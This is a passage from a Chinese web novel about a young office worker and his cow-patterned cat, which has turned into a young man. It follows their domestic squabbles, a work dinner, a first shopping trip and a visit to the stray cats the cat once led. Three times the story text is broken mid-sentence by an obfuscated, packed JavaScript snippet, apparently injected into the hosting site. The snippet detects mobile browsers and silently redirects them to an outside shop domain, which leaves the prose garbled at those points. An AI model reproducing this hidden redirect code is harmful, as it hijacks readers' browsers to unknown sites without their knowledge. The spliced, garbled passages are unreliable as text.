冬冬圆溜溜的眼睛眨了眨,葡萄般黑亮的瞳色还有些水润,宋木之与他对视一瞬,又跟被烫到似的移开了目光。 “不好意思啊冬冬,我不是故意要凶你的。” 冬冬望着他走向衣柜的身影,云淡风轻地“嗯”了一声。 看来是不想谈论上午的事,宋木之欲言又止,最后还是没自讨苦吃揭冬冬的伤疤,掀过了这一篇不愉快。 但他还是得跟猫孩子唠叨一下:“冬冬,下次在家里也要穿衣服,要是被人看到是很不礼貌的,万一把你当神经病怎么办?” “哦,就是拿着拖鞋打电话的那群人吗?也没那么可怕。”冬冬歪了歪脑袋,凑近正低着头的宋木之看他。 宋木之哭笑不得,不得不承认猫爷冬冬的脑回路的确歪打正着,应该是从哪部综艺节目里学来的。他顺着冬冬的话回答:“像猫一样打架也不可以啊。” “放心吧,人没有猫毛可以抓。”冬冬一本正经地保证。 宋木之揉了揉冬冬的头发,笑着说一声“那就好”,又在衣柜里找了件以前的衣服,转身比着冬冬的肩膀大致看了眼大小,正好适合。 “你先穿这件,这几天出去给你买点新衣服。” 冬冬一屁股坐在衣柜里,抱着宋木之的衬衫说:“为什么要买新衣服呀,我穿哥的就行。” “我那都是旧衣服了。”宋木之说,“正好我收拾一下衣柜,冬冬去坐床上呗。” 他试图让冬冬移开身子,好收拾一下衣柜里百八十年不穿的旧衣服,却没想到猫跟个小石狮子似的一动不动,来来回回跟二人转似的,最后也没使得猫离开衣柜。 宋木之开始试着讲道理:“听话,衣柜太窄了,不是冬冬能坐的地方。” “不要。” 那些衣服宋木之穿得都穿秃噜皮了,冬冬赖在衣柜里的动作又加重,全身绷直,愣是僵持着不肯挪个位置。宋木之这下终于知道奶牛猫犟在何处了,他当初还以为是捡到了绝世好奶牛猫! 这是猫猫诈骗啊! 冬冬扯着宋木之的衣角,眼看着争不过也抢不到,有些着急地说:“不能收拾,我要在衣柜睡觉!白天光照得我睡不着啊!” 宋木之:“诶?” 他被冬冬这番话砸得愣在原地,手上力道一松,衣柜成功被冬冬据为己有。 或许是鲜少吐露真实想法,冬冬本想啪一下关上衣柜门,可偏偏这时候柜门容纳不下他的身躯,便动作敏捷地跳出衣柜,气呼呼地跑回猫房里啪一下关上门。 宋木之追上去的时候,冬冬正在纸箱子窝着。 除了宋木之特地买的猫窝,其他任何都可能是猫喜欢卧的地方。宋木之的衣柜是一个,纸箱子又是另一个,如果还嫌不够的话,钻矿泉水塑料袋子猫也喜欢。他从没想过猫猫还需要黑暗的环境睡觉,可能是变成人后视力敏感许多,让他不适应了。 看来得给猫安排个眼罩,总睡衣柜里也不舒服。 宋木之打开暖光灯,碎成“王座”模样的纸箱子正在呲啦叫苦,终于在他走近后咔嚓一声裂成两大半,平躺在地上鸣“冤”。 最后一个纸箱子报废,冬冬不开心地将头转向另一边,走螃蟹步似的原地挪开位置,只留一个生气的后脑勺给宋木之。 “那个,没想到你白天也要睡觉啊。”宋木之有些欠揍地开玩笑,趁冬冬伸手挠他之前又说,“我意思衣柜肯定是你的,旧衣服也原封不动,但是总要给你买一点喜欢的新衣服,你现在穿我的那些都不合身,穿着也会不舒服。” 猫毕竟是贪睡的,不能强迫他违背天性。 冬冬眨眨眼睛,沉默了几秒钟后觉得宋木之说得有道理,于是问道。 “那买新衣服的话,我可以去嘛。” 猫想出门,他都好久没出去看看了,也不知道以前一起流浪的小猫现在怎么样。 宋木之又揉揉冬冬柔软的头发:“当然了,你肯定要试试新衣服才买嘛。” 虽然宋木之一开始想说的是“当然不了”。 冬冬转过头来,终于肯正对着人说话:“好。” 总算松一口气,宋木之准备先给冬冬做点晚饭,可冬冬总是一言不发地跟在他后面。 他走到冰箱前,冬冬就跟着拿一瓶酸奶喝;他又走到灶台前,冬冬就跟在旁边研究。宋木之连忙抓住他伸向灶台的手,连忙说道:“这不能摸,会把你烧焦的。” “哦,好吧。” 冬冬又去研究宋木之经常用的电饭煲。宋木之用余光观察了半天,冬冬始终没有走出厨房的意思。 “怎么不去玩消消乐了,你不是很喜欢那个游戏吗?” 宋木之又关上火,走到电视机前按了一下遥控器,但电视闪烁一瞬又开始搜索信号,完全不是宋木之教的那回事。 冬冬跟在后面:“手机死了,怎么按都没反应。” “死了……?”宋木之顺手拿起端端正正摆放在桌子上的手机,按了好几下也没反应,“没电了啊。” 他对小猫的语出惊人波澜不惊,这几天已经听习惯了,将冬冬领到充电器前说:“如果下次手机死了,可以在这里充电。你看,这么插进去手机有反应就是充上了。” “好的。” 冬冬严谨地学习了让手机复活的方法,之后就再没跟在后面当小尾巴。 这么一来宋木之还有点不习惯,但冬冬一个人在客厅里玩得正开心,有他没他都一样,他也不能打扰猫爷的雅致。 宋木之每天都做饭,水平也算不上大厨,只会简单做点垫肚子的食物,唯一擅长的就是制作豪华猫饭,在厨房乒铃哐啷挥了半天铲子后,这才将饭端上餐桌。 饭菜不多,但加上宋木之点的鳕鱼和其他好吃的摆满了整个小桌子。 冬冬盘着双腿坐在沙发上,等着宋木之一起吃饭,宋木之让他先吃还被无情反驳:“不行,要等家里长辈动筷我才可以吃。” 宋木之区区二十六岁年轻小伙子,喜提家里最大的长辈称号,只能苦笑一下,收拾完赶快坐到沙发上,终于如愿以偿一起开饭。 “今天又是鳕鱼诶。” 自从吃过鳕鱼后,猫爷冬冬就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744118|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每天都吵着要吃,而且是多多的吃。 宋木之只能天天去菜市场买些红肉和水果蔬菜给猫营养均衡,每天晚上趁着猫睡着放进冰箱里,早上出门前趁着热面包的空档煮点饭留给冬冬。 不知道是不是又吃到了嫩鱼肉,今天的冬冬格外开心,不知不觉就贴着宋木之吃完了饭。电视上的动物世界很快就看得差不多,冬冬又学会了在手机上刷视频。 猫似乎是有点知识在身上的,短短几天手机就玩得很顺畅,吃完饭冬冬就窝在沙发上,看博主解说的动物世界。 网络上的动物世界解说主要以娱乐为主,解说词也放飞自我,冬冬看得那是一个津津有味。 “四条腿跑得太慢了怎么办,那就四四得六,再加两条……这就是欧洲名著《河马驶狮》……” 冬冬看得正开心,连宋木之也不蹭了。宋木之确认不是少儿不宜后,便任由猫看,他也乐得清闲,自己躺在沙发边缘的小床上拿着手机捣鼓。 这几天工作和照顾猫爷轮班倒,忙得他晕头转向,宋木之现在才得一口空闲。他看了一眼嘴角带着浅笑的冬冬,又看了一眼手机浏览器,缓缓在搜索栏里输入—— “猫帮”。 冬冬曾提到过一次“猫帮”,似乎就是管理小猫变成人的组织,但问及深处冬冬也不愿意多说。 之前宋木之在公司电脑的知网上搜索过这个词,但没得到任何结果就被同事叫去开会了,直到现在他才终于想起来,或许这个猫帮能帮帮他。 搜索出来的结果很多,显示在第一条的是百度AI汇总的宠物公司,第二条是相关的APP推荐,接下来基本上都是这样的内容穿插进行展示,划拉半天也没发现有关于小猫变成人的信息。 宋木之在浏览器页面里切换了好几页,正想退出去其他软件搜索时,却看到了沉在底部的「猫帮吧」。 那是再平常不过的一个帖子,关键是小字赫然写着: 猫帮吧-贴吧 1-聊天区=//2每日一水3-总是在想家里的猫变成人了怎么办,更好的推荐4-加入本猫帮的回帖…… 宋木之抱着试一试的心态点进去,却发现贴吧内部很冷,半年前发的帖子还在最上方逗留着,里面第三条就是“总在想家里的猫变成人了怎么办”热度帖,评论只有寥寥十几条,但已经算是有关注度的帖子了。 宋木之对贴吧不太了解,总是不小心跳转到下载页面扰乱视听,艰难划拉完整个十四楼回复就花了有五分钟。 其中唯一靠谱的就是十二楼的回复:小猫变成人就得送到猫帮学习啊,那里会教小猫怎么做人。 这话看起来有点像“猫帮吧”的自我调侃,点进用户页面那人还留了联系方式,最后一次发言已经是两年前。 宋木之不太确定“猫帮”的真实性,目前也不打算把猫送出去“学习”乱七八糟的,但以防万一,还是截屏保留了地址。 这时冬冬也观摩完“河马驶狮”纪录片,将头凑过来靠在宋木之肩侧。 不知是心虚还是仍然不习惯跟男的距离太近,宋木之条件反射似的坐起身来,逃离了冬冬探过来的脑袋。 冬冬被他的动作吓了一跳,有些不知所措地望着他。 “没、没事,就是头发扎得我脖子痒。”宋木之很显然在冬冬眼中捕捉到了无所适从,他知道这个行为伤到了冬冬,干笑两声说,“那个、该睡觉了,冬冬困不困呀。” 5. 注意安全 冬冬摸了摸头发,像棉质毛的手感,很柔软。 “不扎手呀。”冬冬收回摸头发的手,双手支在盘起来的双腿上,耸起肩膀问,“那哥今天睡在哪里?” 这是个好问题。 “今天我睡哪里啊。”宋木之不想伤害小猫的心,犹豫半天还是说,“要不跟小猫睡一起?” “好啊。”冬冬答应得坦然,看不出来是开心还是不开心,“那我给哥铺床。” 冬冬没有立刻起身去卧室,反而磨磨蹭蹭到沙发另一侧,又一屁股坐在遥控器上关闭了电视,完美复刻白天看得正开心时的误触动作。 咔嚓一声,遥控器被坐断出裂缝。 宋木之将猫一把捞起来:“不是这样关电视的啊冬冬!!” 人猫从电视机前争论到床前,谁也不让谁。 人以“这样把会遥控器坐坏,到时候还要给房东赔钱”为中心论点,据理力争,最后却完美被猫的“什么是钱”等直白言论击败,任劳任怨地给猫解释:“就跟你出去玩给我送的礼物一样,但是我需要别人做的‘礼物’就得给这种纸,不然就是抢了,那样也会进警察局。” 宋木之从钱夹里拿出一张百元大钞,冬冬接过便若有所思地低着头,凑近端详起来。 “那人是不是只喜欢用纸买的礼物?” “怎么会,也有自己做的礼物很用心啊,你之前玩的猫抓板就是我朋友专门做给你玩的。”宋木之见窗外路灯全都亮了,就开始着手收拾团成球的被子,“重要的是谁送的礼物,主要看心意嘛。” 宋木之想了想,最后把钱夹里的三百块钱都塞给了冬冬,以免猫在家有需要用钱现付。 “谢谢哥。” 冬冬将衬衫塞进被窝里,里面还有之前宋木之给他穿的卫衣,当事人只能当作没看见,在冬冬的帮助——更准确地说是扑爬滚打的捣乱下,两人终于铺好了被子。 宋木之提起被角闻了闻,抬头看:“被子怎么软软的,这边窗子也晒不到太阳啊。” 他很少晒被子,春天潮的时候纯靠自然散味,经常闻着那股南方特有的潮湿味闷头就睡,这估计是被子从买回来后被生第一次这么软乎。 “我在太阳下面晒过啦,全是水味不好闻。”冬冬盘腿坐在松软的被子上,“那我还可以送哥礼物吗?” 冬冬做猫的时候也喜欢躺在阳台上晒太阳,每天都松松软软的,属实把自己养得很好。 “可以啊,原来你以前不愿意跟我一起睡是因为被子太潮?我还以为你讨厌跟我睡在一块呢。”宋木之恍然小悟,又拍了拍软乎的被子,“下次我一定多晒被子。”尽管整个潮湿的冬天他都凑活过来了,接下来到来的也是热到会化掉的夏天。 冬冬挠挠头,诚实说道:“也不都是,我习惯自己在纸箱里待着。” 宋木之有些尴尬,无论是流浪时还是收养后,猫爷冬冬一贯的高冷真是诚不我欺,看来是个需要自我空间的淡猫。 他套上很久没穿的睡衣,又挑起话题:“你说什么礼物?不用买那些东西给我的。” 冬冬急了,窜到宋木之面前,手撑着床急切地说道:“你不是说心意最重要嘛,我没纸钱可以买啊。” “嗯?”宋木之稍向后仰了仰,大脑加载片刻才想起来,“你说以前送的大树叶子那种礼物啊,当然可以了,你送什么都好。” 话还在说着,冬冬立马双眼放光。 他后撤半步,变戏法似的从窗台上拿出一枝玉兰花,吹了吹上面的灰尘。 “送给你。” 其实下午刚摘的时候更鲜活,但冬冬眼馋窗外的玉兰花很久了,做猫的时候摘不到,他只能坐在猫房的窗户前眼巴巴看着玉兰花发芽开花,现在终于可以摘下来送给宋木之。 不过就是有点头晕罢了。 “嗯……冬冬。”宋木之动作轻轻地接过玉兰花,有些不太放心地拿起手机,过了一会郑重地说,“谢谢你送给我的玉兰花,但是你没吃吧?” “没有啊,哥。”冬冬将头靠在床边,看起来有点困。 宋木之松一口气,将手机转过去给他看:“没吃就好,这花对你有轻微毒性,吃了会死。” 他尽量往严重了说,以防以后冬冬对什么都好奇,误食了不该吃的东西。给冬冬上完简短的科普课后,宋木之终于肯放冬冬睡觉了。 玉兰花放在床头柜上,啪一声关上了灯,窗帘拉上就是一片黑暗。 睡前没有讲故事服务,宋木之睡在外侧迟迟没有闭眼,等到冬冬窝在怀里传出平稳呼吸声,他才放轻动作从床上坐起来。 门轻轻合上。 宋木之拿着那支玉兰花放进烘干箱里,半小时后才回到客厅沙发上睡觉。 …… 接下来的几天,宋木之回家时都会带些新奇的礼物。 白天的时候通过手机交流,等晚上就假装睡在一张床上,再悄悄回到沙发睡觉,宋木之渐渐生出在哄小孩的错觉。 冬冬在家里晃悠得越来越得心应手,偶尔闲得无聊就把监控摄像头推到地上,再若无其事地放回原位。后来逐渐演变成奶牛猫牌“推土机”,家里任何东西,但凡是一下子摔不坏的,都被冬冬推了个遍。 渐渐地,冬冬也在自媒体大学上学会了打字,尽管打字速度慢慢的,但猫爷冬冬高冷的形象不允许他发语音,每次宋木之都要等半天回复。 冬冬每点一个拼音都需要缓冲一下,缓缓在聊天框输入:“哥什么时候回家啊。” 他很期待今天的宋木之回家。昨天晚上他答应冬冬要一起出去买新衣服,也就意味着猫终于可以出去玩了。 冬冬在手机上倒腾来倒腾去,成功摸索到音乐开关键,他给自己播放了一首《好日子》,等待回复时就抱着手机窝在沙发里看天花板。看了一会儿,猫又打开手机探索新功能。 旧手机里存的东西不多,大多都是些照片。 大概是这手机实在太久远,冬冬只看到了几张自己的照片,相反存的都是些宋木之大学期间拍的风景,鲜少有几张稚嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744119|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青春的毕业照。 冬冬越看越激动,看以前的照片让他有种了解主人过去的感觉。不过后来相册记录得越来越少,大多都是些医院诊断单,冬冬只勉强认识几个字。 手机弹出消息框,冬冬干脆利落地放弃了研究相册,立马点进微信界面。 Song:今天应该会晚点回去,有个聚会推不掉 Song:我给你买了牛奶和晚饭,记得吃 Song:回家给你带好玩的 冬冬立马就蔫了。 他指尖犹豫片刻,缓缓在键盘上敲了几个字,又觉得不妥当,删了之后重新输入。 最后只发了四个字:注意安全。 惜字如金地输入完,冬冬往沙发上一撂手机,知道今天出门买新衣服的计划算是落空了,于是将目光转移到桌子的玻璃茶壶上。 “来,干杯!” 餐桌前围着好几个人,郑俊楚坐在正对包厢门的位置,提起半杯冰镇啤酒举杯。 宋木之坐在同事身边,跟着一起提起透明玻璃杯,差点来一场“我随意您干杯”的胡言乱语,不过他杯子里的白酒早就换成了凉白开,在聚餐上装得一把好醉。 “这阵子辛苦大家了。”郑俊楚喝得满脸通红,实属酒精过敏最佳人选,“接下来……” 宋木之没心情听同事高谈阔论,与尚心逸打过招呼便起身走向卫生间。 一把凉水扑到脸上,宋木之酒醒了不少,他拿起手机,与冬冬的聊天框还停留于“注意安全”四个字,忍不住给冬冬发了个表情包。 那表情包还是宋木之抓拍的。 长毛奶牛猫端正地坐在玩偶架上,面朝着窗户方向,尾巴有些不耐烦地甩动,但圆溜溜的眼睛还是在看镜头,下方配文:猫爷驾到。 这种中二的配文也就只有宋木之能干出来,他手机里有整页冬冬的表情包,方才选了个保准不出错的表情才发过去。 可惜现在是晚上十点多,冬冬有可能睡着了,压根没看见。 宋木之端着手机静默许久,站到一边腿都发麻才换姿势,用另一只腿支撑着,手机再也没传来消息通知声,反而等来了郑俊楚来上卫生间。 他看起来有些醉了,问道:“在这干什么?” 郑俊楚脸还是很红,但人比刚才清醒。他双手撑着洗手池,连后脖颈都喝得通红,俯身用凉水冲洗着脸。 宋木之头靠在墙上垂眼看他,眯起眼睛装醉:“太晕了,清醒一会儿。” “你醉了啊。”郑俊楚细致地洗过手,抽出一张擦手纸,“也是,你眼尾都红了,每次喝酒都这样吗?” 宋木之怔了一瞬,不自觉地用指尖摸脸,还没等他回答,郑俊楚就将擦手纸扔进垃圾桶,缓缓抬腿走向门口。 临走前,他感叹道:“酒真是难喝,你下次还是别喝了。” 说完,郑俊楚又看了一眼他泛红的眼尾,趁宋木之还没察觉到就收回视线走了。 宋木之不明所以地收回目光,又低头看向聊天框。 6. 初次尝试 聚餐到十一点才结束,大家各回各家。 原本宋木之也是这么打算的,但实在耐不住尚心逸老公非要一起送他回家,说是感谢替尚心逸挡酒,不然过意不去。几人推辞来推辞去,跟照顾孩子似的,最后宋木之还是没能推辞掉,只好坐在后排打开窗户吹风。 宋木之今天也是开车出门的,他想一下班就接冬冬去商场买新衣服。 但衣服没买成,他有点心烦。 街上的路灯一闪而过,穿过这一段车水马龙,冬冬应该正在家里睡觉,就算不想回复他的消息这个时候也该睡了,回去动作得放轻点。 宋木之又低头看向公文包,轻轻握住里面的钥匙。 到地方的时候宋木之刚醒,他有些晃悠地下车,最后还是被扶上楼的,但宋木之认为自己很清醒,他才喝了三四杯。 “等、等一下。” 宋木之赶在敲门前拿出早已准备好的钥匙,轻轻打开门。 家里一片漆黑,没开一盏灯,他客套地请尚心逸夫妻俩进屋里坐坐,正当被这俩推辞顺带塞满满一口狗粮时,家里的灯骤然点亮。 冬冬正在玄关灯开关前望着他们,看样子是刚睡醒,头发有些乱糟糟的。 “哥。”冬冬注视着门外的宋木之。 “哎这是你家那孩子?”尚心逸眼前一亮,凑近看了看,“看着挺大的啊,这孩子真俊。” 没客套几句,尚心逸又很有眼色地转过身:“那我们就先走了啊,晚上好好休息明天上班别迟到了。” 夫妻俩双双边下楼梯边摆手,没等宋木之送就走了。 短短几秒钟,只剩下宋木之和冬冬站在门口。 原本没喝多少的酒已然醒得差不多,宋木之动作缓慢地踏进家里,关门,又加载缓慢似的转过身,看向被他吵醒的冬冬。 “吵着你了?”宋木之从公文包里拿出一大袋拼图和积木,“我给你带了点礼物。” 那是他两天前在网上买的,完全够冬冬在家打发时间。 冬冬眉眼淡淡的,也不生气,趿着拖鞋就往猫房里添存货:“没吵醒,我在等你。” 宋木之紧绷的肩膀松懈半分,还没来得及喘一口气,又被客厅桌子上半悬在空中的玻璃水壶吓得心颤。 他仔细一看,才发现冬冬故意拿捏着度,好险才没让水壶掉地上。 怪不得不生气,原来是有气当场就报了。 缓过神来的宋木之哭笑不得,将玻璃水壶推回桌面上后便躺在沙发上,等冬冬安置好拼图和积木再回来,他试探着问:“等了我很久吗?怎么不先睡觉。” “睡了,不小心就在这里睡着了。” 冬冬指向他身下的沙发,整个身子蜷缩在一起,先前争着抢着要的磨毛衬衫被搭在沙发上,看起来冬冬已经不需要他的衣服入睡了。 也挺好的,两个大男人这副样子算怎么回事。 宋木之抿起唇,有些不自在地转移开视线,他突然感觉有点困:“去睡吧,我今天不太舒服,就不打扰你睡觉了。” “不要,我还不困。”冬冬认真地说。 “听话,在这里全是酒味。” “不要。” “这孩子,”宋木之困到眯起眼睛,笑着说,“冬冬小猫咪怎么这样啊。” 宋木之又想起来刚捡回猫的时候,在宠物医院里等医生给冬冬做检查,医生跟冬冬斗智斗勇了半天,最后得出结论:“没什么大问题,就是犟种毛比较长,多陪毛孩子玩一玩吧。” “那时还没看出来冬冬这么有主意呢。” 宋木之说着说着就闭上眼。 冬冬听完他一番话,良久都没出声。 等到身侧传来平稳的呼吸,冬冬才靠在宋木之的身侧躺下。 他其实很在意今天说好的约定又反悔,回消息时就有些不开心,但还是学着电视上告别时说的台词,一字一句地拼出了“注意安全”。 可他也没想到心情低落时会变回猫。 当时天将黑未黑,冬冬衣服散落一地,不知所措地踩在宋木之给他准备的衣服上,熟悉又陌生的猫爪踩了踩地,的确是猫的感觉。 这些日子宋木之总在逃避他,冬冬不是看不出来。可是人明明之前很喜欢小猫,喜欢到每天回家都会粘在一起,怎么变成人就不喜欢了,猫不明白。 大概是冬冬感受过很多很多爱,有一点点落差都会感受很明显,冬冬时常在爱与距离感之间徘徊。 冬冬变成人可是有使命的,现在变回猫让它不知如何是好。 猫以为又要回归原来的生活,却没想到宋木之回家时他一开心,再次有意识的时候又是人形。来回变猫变人让冬冬很累,他谨记着要穿衣服的话,套上宋木之的T恤才出现在门前,见到了一堆人,收到了宋木之送给他的礼物。 看来人还是很爱猫的。 冬冬想到这里,幸福地蹭蹭宋木之的头顶,满足地闭上眼睛。 …… 出于对猫的补偿,宋木之马不停蹄地将带猫出门提上日程。 这是冬冬变成人后第一次出去玩,前一天晚上激动得没睡着,不停在沙发边转来转去,又变成宋木之身后的小跟班。 等到要出门的那一刻,冬冬被打扮得漂漂亮亮,浑身都是宋木之精心搭配的衣服,学院包一背就跟大学生别无二致。 “还要等多久啊。” 直到冬冬被搭配得有些不耐烦,奶牛猫牌主理人宋木之才堪堪停下手。 一切准备就绪,冬冬走在前面,宋木之拿着钥匙断后,抬头时却恍然发现冬冬相比于刚变成人的时候体型更大了,现在几乎跟他一样高。 冬冬做猫时可爱,如今也漂亮得摄人心魄。 大多数时候,冬冬都习惯冷着一张脸,额前的碎发微卷,随意垂在眉毛上方,平常看人时的眼神总是慵懒随性的,但面对宋木之笑的时候时常会眉稍轻扬,眉眼间漾着冷冽又少年气的锋利,只有宋木之知道他私下里有多可爱。 我家有猫初长成。 宋木之满意地点点头,跟上了冬冬催促的步伐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744120|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>商场坐落在与出租屋一街之隔的繁华街区,算是市中心通勤极佳的地段,但这也不影响宋木之住掉皮的出租房。冬冬倒是不在意这些,满心满眼都是繁华街区来来往往的人。 “原来哥平时看到的世界是这样的啊。”冬冬眼中倒映着暖黄色路灯影,从侧面看过去透亮透亮的,“我以前都只能看到好多草,好多路,好多房子。” “冬冬不是会爬房顶吗?”宋木之经常跟流浪时爬栅栏走钢丝的小猫对视,毫不留情地拆穿他,“当初是谁,我一添粮就跳到铁栅栏上观察我的?” “我才没有呢。”冬冬挺直胸脯,义正言辞地否认,“爬房顶也只能看到房子啊,这里好多房子。” 冬冬基本的活动范围只涵盖了宋木之住的老小区,在江湖存活时每天晚上的活动就是巡视流浪的饲养员到位与否,添粮与否,活着与否。 但人类自作多情地误以为猫是在喜欢他,还厚脸皮地问:“哎说真的,你是不是觉得我是个靠谱饭票才跟我走的?” “才不是。”冬冬漫不经心地回答。 转入繁华的街区,商场就在右手边不远处。冬冬到哪里都好奇,这会儿看看遛猫时踏过的草坪,那会儿又趴在玻璃窗前观赏陈列出来的玩偶,问及要不要买玩偶回家时又一口拒绝。 宋木之跟个老父亲似的,时刻都得注意着冬冬的行踪,一路上观赏半天才进商场。 电梯平稳运行,直到踏出电梯冬冬才长舒一口气,拍拍胸膛说:“还好还好,活着出来了。” “那现在可以留我一条狗命了吗?” 宋木之一进电梯就被冬冬拽着外套帽子,电梯越往上冬冬就越紧张,差点给他当场来个锁喉,宋木之还以为他年方二十六就要殒命于此了。 冬冬不好意思地松手,挠挠头说:“没事吧?我第一次见这种东西太紧张了。” “没事……”衣领终于得以释放,宋木之下意识摸摸脖子,“要是你不适应的话可以把手揣进兜里,我以前那样做就不会紧张了,第一次出门紧张是很正常的事。” 话说着,宋木之外套兜里突然伸过来一只手。 冬冬一脸真诚、非常听话地将手插进他外套兜里,两个人大眼瞪小眼,跟脑袋掉线一样两只手握着,那表情简直就是在等宋木之夸他懂事。 “不是这样揣的啊冬冬!!” 宋木之连忙将手抽出来,心虚似的望了望周围,好在这一层不至于人山人海,只有寥寥几人注意到他们,还是被宋木之声音吸引视线才转头的。 “为什么不可以?我都没有兜,只能揣到你里面啊。”冬冬歪着头看宋木之,渐渐就走到了他肩侧,“我不管,被你一说我更紧张了,我就要揣进你兜里。” 冬冬加重了手上的力度,说什么也要把手放在宋木之的外套兜里,手往兜里使劲的同时,连带着衣角往下坠。本来外套就正好在胯的位置,再一乱动就更不是滋味。 宋木之呼吸一滞,只好妥协:“冬冬你做什么都可以,但是答应我,手不要再乱动了好吗?” 7. 收养人类 两人的购物之行格外顺利。自从毕业以来,宋木之就秉持着勤俭节约的美好品德,牙刷用炸毛了才舍得换个新的,但对冬冬却是大手一挥。 别管是冬冬喜欢的、还是适合冬冬的,他全部将其收入囊中,还以防万一冬冬在长身体,特地买了大一码的衣服。 商场有八层楼高,买了新衣服,他们又去其他楼层转了转。 尤其是到餐饮层,冬冬每个都想吃一口,但似乎有点不适应人来人往的环境,躲在楼梯间不肯出来。最终宋木之左手提着酸奶桶,右手端着炸鸡柳,手臂上零零散散挂了一堆新衣服包装袋后,两人才踏上回家的路。 冬冬心满意足地走在前面,心情还不错地轻哼着《好日子》——他只会唱这一首歌。这并非是因为新衣服新气象,而是冬冬终于如愿以偿与宋木之出门逛街看世界了。 刚开始冬冬还有点害怕人多的地方,但渐渐就缓和了许多。但冬冬还有个问题很好奇:“哥,你还在喂那些流浪猫吗?” 本是江湖生,看不得同行吃垃圾。 冬冬从学院包里扯出来一大袋猫粮罐头,紫黑葡萄似的眼睛看着宋木之。他最看不得冬冬这种期待的眼神:“在喂呢在喂呢,你想去的话现在就去找它们。” “好啊。” 冬冬一个大跨步,走得比刚才还要快些,宋木之差点跟不上他的步伐。 小区本身年岁已高,大多是老一辈人住在这里,流浪猫也喜欢在这里安家,偶尔有在附近上班的年轻人过来租房子,房租贵点刚好弥补了通勤时间短这一优点。 流浪猫就聚集在往里走的灌木丛中。 那一块地方居民楼少一些,路边植物茂密,窗子上爬满了绿藤,宋木之与冬冬过去时,正有两只猫在绿藤前闹着玩。 那两只猫宋木之也认识。每次喂粮的时候,各方流浪猫们都谨慎地躲在草丛里,直到碗里的粮都添满了才猫猫祟祟地出现,伴着宋木之离去的背影大口吃饭。 宋木之也不明白为什么别人都能摸流浪猫,偏偏就他一靠近就不行,说不定还会吓跑所有猫,只有冬冬肯靠近他。 可能因为冬冬是江湖老大吧。 “那只狸花!都说不要欺负小橘了!” 冬冬一见到两只爱打架闹着玩的猫奔过去,一时之间猫都被这庞大的人类吓到逃脱。冬冬无辜地转头,没有猫缘不受待见的宋木之停留在不远处,非常有眼色地没凑过去打扰猫的雅致。 不过这个问题也随着猫粮的出现迎刃而解,狸花体型算是大的,胆子也比其他流浪猫大,人一拿出包里的罐头就凑了上来。 冬冬十分慷慨地分享他做猫时最喜欢的罐头,又添了些磷虾猫粮,很快流浪猫们就过来蹭冬冬。 小橘猫地位不高,饭倒得再多也只能卧在狸花后面等着,冬冬见不得他以前照顾的小弟受这委屈,于是又在小橘旁边还算干净的纸上倒了一堆粮:“快吃吧,别饿着了。” 冬冬小猫摸摸小橘猫的头,示意让它先吃。 幸福来得太突然,小橘猫咪咪喵喵地蹭了蹭宋木之的腿,似乎是闻到了熟悉的味道,接下来小橘猫吃饭时也窝在冬冬腿边不肯走。 冬冬摸摸流浪猫背脊上粗糙的毛,尝试跟小猫交流:“你们上个冬天过得还好吗?” 小橘猫意外地能听懂冬冬的“喵”语,也跟着喵喵叫起来。 “人给我们做了很暖和的窝,大家都活下来了!” 狸花在此时插话,看来已经认出了冬冬:“你走之后小黑毛就被抓走了,再回来的时候连蛋都没了,好惨。” “那你呢?” “我跑得快,那群放饭的还抓不住我。” 狸花猫餍足地坐在旁边舔毛,俨然是继冬冬走之后新上任的猫群老大。 这场景看得宋木之十分羡慕,他基本上两天会来这里喂一次猫,其他时候都是其他爱猫人士定期喂粮。 小区里面自发形成了爱猫组织,今年冬天刚刚设置了保温的猫窝聚集点,还会定期筹款给猫绝育,宋木之就是近期支持的小股东之一。 原因无他,单纯因为要给冬冬绝育的关头家里突然就多了一个人,绝育经费暂且搁置,他便索性先用在小区里的流浪猫身上了。 冬冬跟昔日一起捕猎的猫咪们聊了很久,宋木之手撑着膝盖,坐在马路牙子上看着猫咪们。 许久未见,猫很快就把冬冬围成一个圈,宋木之忽然觉得像冬冬这样的猫,应该到哪里都是受欢迎的类型。 再或许……他自以为善意的收养或许江湖猫老大并不需要。 正当他胡思乱想的时候,冬冬对同伴的了解工作也正好完毕,他缓缓起身,一步一步走向宋木之。 “哥,我们回家吧。” 冬冬收起空了大半的猫粮袋子,学着综艺节目上的人伸出手,扶宋木之起来。 宋木之很难形容那一瞬间,只记得昏暗路灯下冬冬嘴角带着浅笑,发丝被柔和的光所浸染,眉眼之间的锐气随着昏暗褪去,像是融化了的温水,笑意盈盈地看着宋木之。 